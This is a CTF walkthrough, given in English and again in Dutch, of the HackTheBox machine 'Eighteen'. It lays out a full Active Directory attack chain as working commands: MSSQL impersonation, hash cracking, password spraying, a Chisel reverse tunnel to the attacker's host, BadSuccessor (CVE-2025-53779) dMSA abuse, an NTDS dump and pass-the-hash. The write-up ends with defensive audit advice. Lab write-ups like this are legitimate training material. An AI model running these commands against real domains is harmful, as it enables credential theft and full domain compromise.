Eighteen
19 May 2026 19 mei 2026
HackTheBox — Eighteen (Easy)
Eighteen is a Windows Server 2025 Domain Controller. The chain starts small: HTB-creds for kevin, an MSSQL-impersonate to appdev, a Werkzeug-hash from an internal database that I cracked with rockyou, and then a password-spray that sticks on adam.scott. From there, it's BadSuccessor (CVE-2025-53779), a dMSA with Administrator as precursor, and the DC is mine.
Almost every step is a feature that seems harmless on its own: IMPERSONATE on a SQL-login, a hash in a database field, an ACL on an OU. Chained together, you become Domain Admin on a DC that's "just default configured". That's what AD attacks usually look like: no 0day, but a chain of design choices that each seemed logical on their own.
Recon
sudo nmap -sC -sV -oN eighteen.nmap 10.129.57.245
-sC runs nmap's default script set (banner grabs, version info from protocol headers), -sV attempts to get the version of each service, -oN writes the output to a file so I can review later without rescanning.
Three ports counted:
- 80/tcp — IIS, redirect to
eighteen.htb. Hostname added immediately to/etc/hosts; otherwise the site won't work and certificates won't match. - 1433/tcp — Microsoft SQL Server 2022. MSSQL on a DC is notable: it means I may later be able to perform actions from the SQL context that normally only become possible after obtaining a foothold.
- 5985/tcp — WinRM. The Windows equivalent of SSH. Valid credentials = direct shell, no exploit needed.
DC01.eighteen.htb confirms this is a Domain Controller. HTB provides initial credentials for kevin / <KEVIN_PASSWORD>.
echo "10.129.57.245 eighteen.htb dc01.eighteen.htb" | sudo tee -a /etc/hosts
Foothold
With kevin's creds, directly access MSSQL:
impacket-mssqlclient kevin:'<KEVIN_PASSWORD>'@10.129.57.245 -windows-auth
impacket-mssqlclient is a Python client from the Impacket suite that allows you to talk to an SQL Server from Linux, without sqlcmd or a Windows machine. -windows-auth switches to NTLM authentication against MSSQL instead of "basic" SQL auth, which is normal in AD environments because SQL logins are just domain accounts.
kevin is not a DBA, but IMPERSONATE permissions are often missed in audits:
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SELECT name FROM sys.server_principals WHERE principal_id = 268;
IMPERSONATE in MSSQL means: this login may temporarily impersonate another login. Intended for legitimate scenarios (an application account performing queries on behalf of a user), but if you have it on a login with more rights than yourself, it's effectively local privilege escalation within the database server. The first query shows which impersonate relationships exist; the second translates a numeric principal_id to the corresponding login name.
kevin may impersonate appdev. Assuming the identity takes one command:
EXECUTE AS LOGIN = 'appdev';
SELECT name FROM sys.databases;
USE financial_planner;
SELECT * FROM users;
EXECUTE AS LOGIN switches the rest of your session to appdev's context. Everything that follows (SELECT, USE, queries on other databases) happens with appdev's rights. That gives me access to financial_planner, a database that kevin himself could not even see.
In users is an admin with a Werkzeug PBKDF2-SHA256 hash. Werkzeug is the password hashing library that Flask uses under the hood, so this points to a Python web app somewhere on the box. The format looks like this: pbkdf2:sha256:600000$<salt>$<hex>. Hashcat has no mode that directly accepts this format, so first convert it to the format that mode 10900 (PBKDF2-HMAC-SHA256) does understand:
import base64, binascii
salt = b"<WERKZEUG_SALT>"
h = binascii.unhexlify("<WERKZEUG_HASH_HEX>")
print(f"sha256:600000:{base64.b64encode(salt).decode()}:{base64.b64encode(h).decode()}")
The trick is in the encoding difference: hashcat 10900 wants the salt and hash in base64, while Werkzeug stores them as plain string and hex. Convert once and hashcat is happy:
hashcat -m 10900 '<HASHCAT_FORMATTED>' /usr/share/wordlists/rockyou.txt
Password from rockyou: <ADMIN_PASSWORD> (see lessons).
The admin from the database is not a WinRM user, so those credentials don't give me a direct shell. However, password reuse in AD is so common that a spray almost always hits somewhere. First, retrieve the domain user list:
netexec mssql 10.129.57.245 -u kevin -p '<KEVIN_PASSWORD>' --local-auth --rid-brute > /tmp/users.txt
netexec (formerly crackmapexec) is the standard tool for AD enumeration and credential spraying. --rid-brute works like this: in a Windows domain, users have a numeric Relative Identifier (RID) under the domain SID. Netexec walks through those numbers and asks MSSQL "which security principal belongs to RID X?". For each valid RID, Windows returns the name, even without LDAP access. Result: a complete user list.
With that list, I do a password spray: trying the same password against each account. The opposite of brute-forcing (many passwords against one account), because that triggers lockouts.
netexec winrm 10.129.57.245 -u /tmp/users.txt -p '<ADMIN_PASSWORD>'
adam.scott reuses it. Pwn3d! is netexec's signal that the creds work and the user can be accessed via WinRM. Shell with that:
evil-winrm -i 10.129.57.245 -u adam.scott -p '<ADMIN_PASSWORD>'
evil-winrm is the standard WinRM client for offensive purposes, with handy extras like upload/download and AMSI bypass helpers. Retrieved user.txt.
Privesc — BadSuccessor (CVE-2025-53779)
whoami /groups as adam.scott shows membership of EIGHTEEN\IT. By itself, this is nothing; it only becomes interesting if that group has unusual rights. Time for BloodHound:
upload /usr/share/sharphound/SharpHound.exe
.\SharpHound.exe -c All
SharpHound is the collector. It runs on the target (hence the upload), talks to the DC via LDAP, and collects every group, user, ACL, and group membership in the domain. -c All says: grab everything. The output is a ZIP with JSON files that you load into the BloodHound GUI; it then visually shows which paths lead to Domain Admin.
In BloodHound, it is noticeable that EIGHTEEN\IT has CreateChild rights on OU=Staff,DC=eighteen,DC=htb, specifically for msDS-DelegatedManagedServiceAccount objects. "May create service accounts in a specific OU" sounds harmless, but in Windows Server 2025, that's exactly the precondition for BadSuccessor. Akamai's detection script confirms:
.\Get-BadSuccessorOUPermissions.ps1
Identity OUs
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}
Why this is a gap: a Delegated Managed Service Account (dMSA) is a new account type in Windows Server 2025, intended to migrate legacy service accounts to managed equivalents without downtime. When creating it, you specify a "predecessor": the old account you are replacing. During authentication, the dMSA inherits the group memberships of that predecessor. Microsoft's own documentation confirms that this is by design, so applications that rely on the old account experience no disruption.
The problem lies in the ACL model: it checks who may create a dMSA, not who may be the predecessor. So if I have dMSA creation rights on an arbitrary OU, I can create a dMSA with Administrator as the predecessor, and that dMSA then gets Domain Admin group membership. No password needed, no missing patch; default config of Windows Server 2025.
For the exploit, I use a NetExec fork with a badsuccessor module. It talks LDAP and SMB to the DC. From adam.scott's WinRM session, I have access to the DC, but my Kali is on the other side of a NAT and can't directly reach dc01.eighteen.htb. Solution: a pivot via Chisel.
# Kali
./chisel server --reverse --port 8888
Target (in evil-winrm)
.\chisel.exe client 10.10.14.127:8888 R:socks
Chisel sets up a TCP tunnel over an HTTP/WebSocket connection. --reverse means the client (inside the internal network) initiates the connection outward because firewalls almost always block incoming connections and almost always allow outgoing ones. R:socks says: open a SOCKS5 proxy on port 1080 on the Kali side and tunnel everything through to the target. From now on, I can reach any internal address that the target sees from Kali.
/etc/proxychains4.conf tells my tools how to use that proxy:
socks5 127.0.0.1 1080
Installing the fork:
git clone https://github.com/azoxlpf/NetExec.git
cd NetExec && git checkout feat/refactor-badsuccessor
uv tool install.
The exploit itself:
proxychains -q nxc ldap dc01.eighteen.htb \
-u adam.scott -p '<ADMIN_PASSWORD>' \
-M badsuccessor \
-o TARGET_OU='OU=Staff,DC=eighteen,DC=htb' DMSA_NAME=pwn TARGET_ACCOUNT=Administrator
proxychains -q sends the entire command through the SOCKS tunnel. The module creates a dMSA pwn$ in the Staff OU with Administrator as the predecessor. During creation, the DC requests a Kerberos ticket for the dMSA, which ends up in pwn$.ccache: a Kerberos credential cache. That ticket is my key to the DC.
KRB5CCNAME=pwn\$.ccache proxychains -q nxc smb dc01.eighteen.htb --use-kcache --ntds
KRB5CCNAME is the environment variable where Linux Kerberos tools look for the ticket. By setting it to pwn$.ccache, every subsequent nxc call uses that identity. --use-kcache --ntds says: authenticate with that ticket and dump the NTDS.dit database. NTDS.dit is the entire Active Directory: all users, hashes, and groups in the domain are in it. The dump yields the NTLM hash of Administrator.
With that hash, I no longer need to crack the password: pass-the-hash works directly.
evil-winrm -i dc01.eighteen.htb -u administrator -H <ADMIN_NTLM_HASH>
Windows authenticates NTLM by comparing the hash itself, not re-hashing the password. If I have the hash, I am the user.
root.txt.
What I took away
Three things that stuck with me:
- MSSQL
IMPERSONATEis a sleeper vector. In nearly every AD environment with SQL Server there is somewhere a login withIMPERSONATErights on another account, often set up for a legacy reason nobody remembers anymore. It is not a vulnerability in MSSQL; it is a legitimate feature that is rarely audited.sys.server_permissions WHERE permission_name = 'IMPERSONATE'is one of the first queries I run as soon as I have MSSQL access. - Password spraying one cracked hash across an entire domain is literally what HTB-Easy AD boxes rely on. One user reusing
iloveyou1is all a spray needs. That a DC falls for it says something about what default password policies catch: nothing, because they only look at length and complexity, not at known-password lists. - BadSuccessor. Having dMSA-creation rights on an OU separate from Domain Admin looks harmless, until you realize that the dMSA inherits group memberships from its predecessor during authentication. No exploit chain, no missing patch, just default configuration. Concrete defensive action: audit who has
CreateChildon OUs for specificallymsDS-DelegatedManagedServiceAccount. In every Windows Server 2025 environment that check should be on the checklist.
HackTheBox — Eighteen (Easy)
Eighteen is een Windows Server 2025 Domain Controller. De keten begint klein: HTB-creds voor kevin, een MSSQL-impersonate naar appdev, een Werkzeug-hash uit een interne database die ik op rockyou krijg, en daarna een password-spray die op adam.scott blijft hangen. Vandaar is het BadSuccessor (CVE-2025-53779), een dMSA met Administrator als voorganger, en de DC is van mij.
Bijna elke stap is een feature die op zichzelf onschuldig lijkt: IMPERSONATE op een SQL-login, een hash in een database-veld, een ACL op een OU. Achter elkaar gezet ben je Domain Admin op een DC die "alleen maar default geconfigureerd" is. Dat is hoe AD-aanvallen er meestal uitzien: geen 0day, maar een ketting van designkeuzes die elk voor zich logisch leken.
Recon
sudo nmap -sC -sV -oN eighteen.nmap 10.129.57.245
-sC draait nmap's default-scriptset (banner-grabs, versie-info uit protocol-headers), -sV probeert de versie van elke service achter te halen, -oN schrijft de output naar een bestand zodat ik later kan terugkijken zonder rescannen.
Drie poorten telden:
- 80/tcp — IIS, redirect naar
eighteen.htb. Hostname meteen in/etc/hosts, anders werkt de site niet en kloppen certificaten niet. - 1433/tcp — Microsoft SQL Server 2022. MSSQL op een DC is opvallend: het betekent dat ik straks misschien vanuit SQL-context dingen kan doen die normaal pas na een foothold lukken.
- 5985/tcp — WinRM. Het Windows-equivalent van SSH. Geldige creds = direct een shell, zonder exploit.
DC01.eighteen.htb bevestigt dat dit een Domain Controller is. HTB levert initiële creds voor kevin / <KEVIN_PASSWORD>.
echo "10.129.57.245 eighteen.htb dc01.eighteen.htb" | sudo tee -a /etc/hosts
Foothold
Met kevin's creds direct MSSQL in:
impacket-mssqlclient kevin:'<KEVIN_PASSWORD>'@10.129.57.245 -windows-auth
impacket-mssqlclient is een Python-client uit de Impacket-suite waarmee je vanaf Linux met een SQL Server kunt praten, zonder sqlcmd of Windows-machine. -windows-auth schakelt over op NTLM-authenticatie tegen MSSQL in plaats van "basic" SQL-auth, wat in AD-omgevingen normaal is omdat SQL-logins gewoon domain accounts zijn.
kevin is geen DBA, maar IMPERSONATE-permissies worden in audits vaak gemist:
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SELECT name FROM sys.server_principals WHERE principal_id = 268;
IMPERSONATE in MSSQL betekent: deze login mag zich tijdelijk voordoen als een andere login. Bedoeld voor legitieme scenario's (een applicatie-account dat namens een gebruiker queries doet), maar als je het hebt op een login met meer rechten dan jezelf is het effectief lokale privesc binnen de database-server. De eerste query toont welke impersonate-relaties bestaan; de tweede vertaalt een numerieke principal_id naar de bijbehorende login-naam.
kevin mag appdev impersonaten. Identiteit aannemen kost één commando:
EXECUTE AS LOGIN = 'appdev';
SELECT name FROM sys.databases;
USE financial_planner;
SELECT * FROM users;
EXECUTE AS LOGIN wisselt voor de rest van je sessie naar appdev's context. Alles wat volgt (SELECT, USE, queries op andere databases) gebeurt met appdev's rechten. Dat geeft me toegang tot financial_planner, een database die kevin zelf niet eens kon zien.
In users staat een admin met een Werkzeug PBKDF2-SHA256 hash. Werkzeug is de wachtwoord-hash-library die Flask onder de motorkap gebruikt, dus dit wijst op een Python-webapp ergens op de box. Het format ziet er zo uit: pbkdf2:sha256:600000$<salt>$<hex>. Hashcat heeft geen mode die dit format direct slikt, dus eerst omzetten naar het format dat mode 10900 (PBKDF2-HMAC-SHA256) wel begrijpt:
import base64, binascii
salt = b"<WERKZEUG_SALT>"
h = binascii.unhexlify("<WERKZEUG_HASH_HEX>")
print(f"sha256:600000:{base64.b64encode(salt).decode()}:{base64.b64encode(h).decode()}")
De truc zit in het encoding-verschil: hashcat 10900 wil salt en hash in base64, terwijl Werkzeug ze als platte string en hex opslaat. Eén keer omzetten en hashcat is happy:
hashcat -m 10900 '<HASHCAT_FORMATTED>' /usr/share/wordlists/rockyou.txt
Wachtwoord uit rockyou: <ADMIN_PASSWORD> (zie lessons).
De admin uit de database is geen WinRM-user, dus die credentials geven me geen directe shell. Wachtwoordhergebruik in AD is alleen wel zo gangbaar dat een spray vrijwel altijd ergens raak schiet. Eerst de gebruikerslijst van het domein ophalen:
netexec mssql 10.129.57.245 -u kevin -p '<KEVIN_PASSWORD>' --local-auth --rid-brute > /tmp/users.txt
netexec (voorheen crackmapexec) is de standaard-tool voor AD-enumeratie en credential-spraying. --rid-brute werkt zo: in een Windows-domein hebben gebruikers een numerieke Relative Identifier (RID) onder de domein-SID. Netexec loopt die nummers af en vraagt MSSQL "welke security principal hoort bij RID X?". Voor elke geldige RID geeft Windows de naam terug, ook zonder LDAP-toegang. Resultaat: een complete user-lijst.
Met die lijst doe ik een password spray: hetzelfde wachtwoord proberen tegen elk account. Andersom dan brute-force (veel wachtwoorden tegen één account), omdat dat lockouts triggert.
netexec winrm 10.129.57.245 -u /tmp/users.txt -p '<ADMIN_PASSWORD>'
adam.scott hergebruikt het. Pwn3d! is netexec's signaal dat de creds werken en de user op WinRM kan. Daarmee shell:
evil-winrm -i 10.129.57.245 -u adam.scott -p '<ADMIN_PASSWORD>'
evil-winrm is de standaard WinRM-client voor offensieve doeleinden, met handige extra's zoals upload/download en AMSI-bypass-helpers. user.txt opgehaald.
Privesc — BadSuccessor (CVE-2025-53779)
whoami /groups als adam.scott toont lidmaatschap van EIGHTEEN\IT. Op zich nog niets; interessant wordt het pas als die groep ongebruikelijke rechten heeft. Tijd voor BloodHound:
upload /usr/share/sharphound/SharpHound.exe
.\SharpHound.exe -c All
SharpHound is de collector. Hij draait op de target (vandaar de upload), praat met de DC via LDAP en verzamelt elke groep, gebruiker, ACL en groepslidmaatschap in het domein. -c All zegt: pak alles. Output is een ZIP met JSON-bestanden die je in de BloodHound-GUI inlaadt; die laat vervolgens visueel zien welke paden er naar Domain Admin lopen.
In BloodHound valt op dat EIGHTEEN\IT CreateChild-rechten heeft op OU=Staff,DC=eighteen,DC=htb, specifiek voor msDS-DelegatedManagedServiceAccount-objecten. "Mag service-accounts aanmaken in een specifieke OU" klinkt onschuldig, maar in Windows Server 2025 is dat precies de preconditie voor BadSuccessor. Akamai's detectiescript bevestigt:
.\Get-BadSuccessorOUPermissions.ps1
Identity OUs
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}
Waarom dit een gat is: een Delegated Managed Service Account (dMSA) is een nieuw account-type in Windows Server 2025, bedoeld om legacy service-accounts te migreren naar managed-equivalents zonder downtime. Bij het aanmaken specificeer je een "voorganger": het oude account dat je vervangt. Tijdens authenticatie erft de dMSA de groepslidmaatschappen van die voorganger. Microsoft's eigen documentatie bevestigt dat dit by design is, zodat applicaties die op het oude account leunen geen onderbreking ervaren.
Het probleem zit in het ACL-model: dat controleert wie een dMSA mag aanmaken, niet wie de voorganger mag zijn. Als ik dus dMSA-creation-rights heb op een willekeurige OU, kan ik een dMSA aanmaken met Administrator als voorganger, en die dMSA krijgt vervolgens Domain Admin-groepslidmaatschap. Geen wachtwoord nodig, geen patch ontbrekend; standaardconfig van Windows Server 2025.
Voor de exploit gebruik ik een NetExec-fork met een badsuccessor-module. Die praat LDAP en SMB tegen de DC. Vanuit adam.scott's WinRM-sessie heb ik wel toegang tot de DC, maar mijn Kali zit aan de andere kant van een NAT en kan niet rechtstreeks bij dc01.eighteen.htb. Oplossing: een pivot via Chisel.
# Kali
./chisel server --reverse --port 8888
Target (in evil-winrm)
.\chisel.exe client 10.10.14.127:8888 R:socks
Chisel zet een TCP-tunnel op over een HTTP/WebSocket-verbinding. --reverse betekent dat de client (in het interne netwerk) de verbinding naar buiten initieert, omdat firewalls inkomende verbindingen vrijwel altijd blokkeren en uitgaande vrijwel altijd toelaten. R:socks zegt: open een SOCKS5-proxy op poort 1080 aan de Kali-kant en tunnel alles door naar de target. Vanaf nu kan ik vanaf Kali bij elk intern adres dat de target ziet.
/etc/proxychains4.conf vertelt mijn tools hoe ze die proxy moeten gebruiken:
socks5 127.0.0.1 1080
Fork installeren:
git clone https://github.com/azoxlpf/NetExec.git
cd NetExec && git checkout feat/refactor-badsuccessor
uv tool install .
Exploit zelf:
proxychains -q nxc ldap dc01.eighteen.htb \
-u adam.scott -p '<ADMIN_PASSWORD>' \
-M badsuccessor \
-o TARGET_OU='OU=Staff,DC=eighteen,DC=htb' DMSA_NAME=pwn TARGET_ACCOUNT=Administrator
proxychains -q stuurt het hele commando door de SOCKS-tunnel. De module maakt een dMSA pwn$ aan in de Staff OU met Administrator als voorganger. Tijdens het aanmaken vraagt de DC een Kerberos-ticket voor de dMSA aan, dat in pwn$.ccache belandt: een Kerberos credential cache. Dat ticket is mijn sleutel tot de DC.
KRB5CCNAME=pwn\$.ccache proxychains -q nxc smb dc01.eighteen.htb --use-kcache --ntds
KRB5CCNAME is de environment-variabele waar Linux Kerberos-tools naar kijken voor het ticket. Door die op pwn$.ccache te zetten, gebruikt elke volgende nxc-call die identiteit. --use-kcache --ntds zegt: authenticeer met dat ticket en dump de NTDS.dit-database. NTDS.dit is de hele Active Directory: alle gebruikers, hashes en groepen van het domein staan erin. Het dump levert de NTLM-hash van Administrator.
Met die hash hoef ik het wachtwoord niet meer te kraken: pass-the-hash werkt direct.
evil-winrm -i dc01.eighteen.htb -u administrator -H <ADMIN_NTLM_HASH>
Windows authenticeert NTLM door de hash zelf te vergelijken, niet het wachtwoord opnieuw te hashen. Als ik de hash heb, ben ik de gebruiker.
root.txt.
Wat ik eruit haalde
Drie dingen die me bijbleven:
- MSSQL
IMPERSONATEis een sleeper-vector. In bijna elke AD-omgeving met SQL Server staat ergens een login metIMPERSONATE-rechten op een ander account, vaak ingericht voor een legacy reden die niemand meer kent. Het is geen kwetsbaarheid in MSSQL; het is een legitieme feature die zelden wordt geaudit.sys.server_permissions WHERE permission_name = 'IMPERSONATE'is een van de eerste queries die ik draai zodra ik MSSQL-toegang heb. - Password-spray van één gekraakte hash over een heel domein is letterlijk waar HTB-Easy AD-boxen op leunen. Eén user die
iloveyou1hergebruikt is alles wat een spray nodig heeft. Dat een DC daarop valt zegt iets over wat default password policies opvangen: niets, want die kijken alleen naar lengte en complexiteit, niet naar bekende-wachtwoord-lijsten. - BadSuccessor. dMSA-creation-rights op een OU geven los van Domain Admin lijkt onschuldig, totdat je beseft dat de dMSA tijdens authenticatie groepslidmaatschappen van zijn voorganger overneemt. Geen exploit-chain, geen ontbrekende patch, gewoon standaardconfig. Concrete defensieve actie: audit wie
CreateChildheeft op OU's voor specifiekmsDS-DelegatedManagedServiceAccount. In elke Windows Server 2025-omgeving moet die check op de checklist.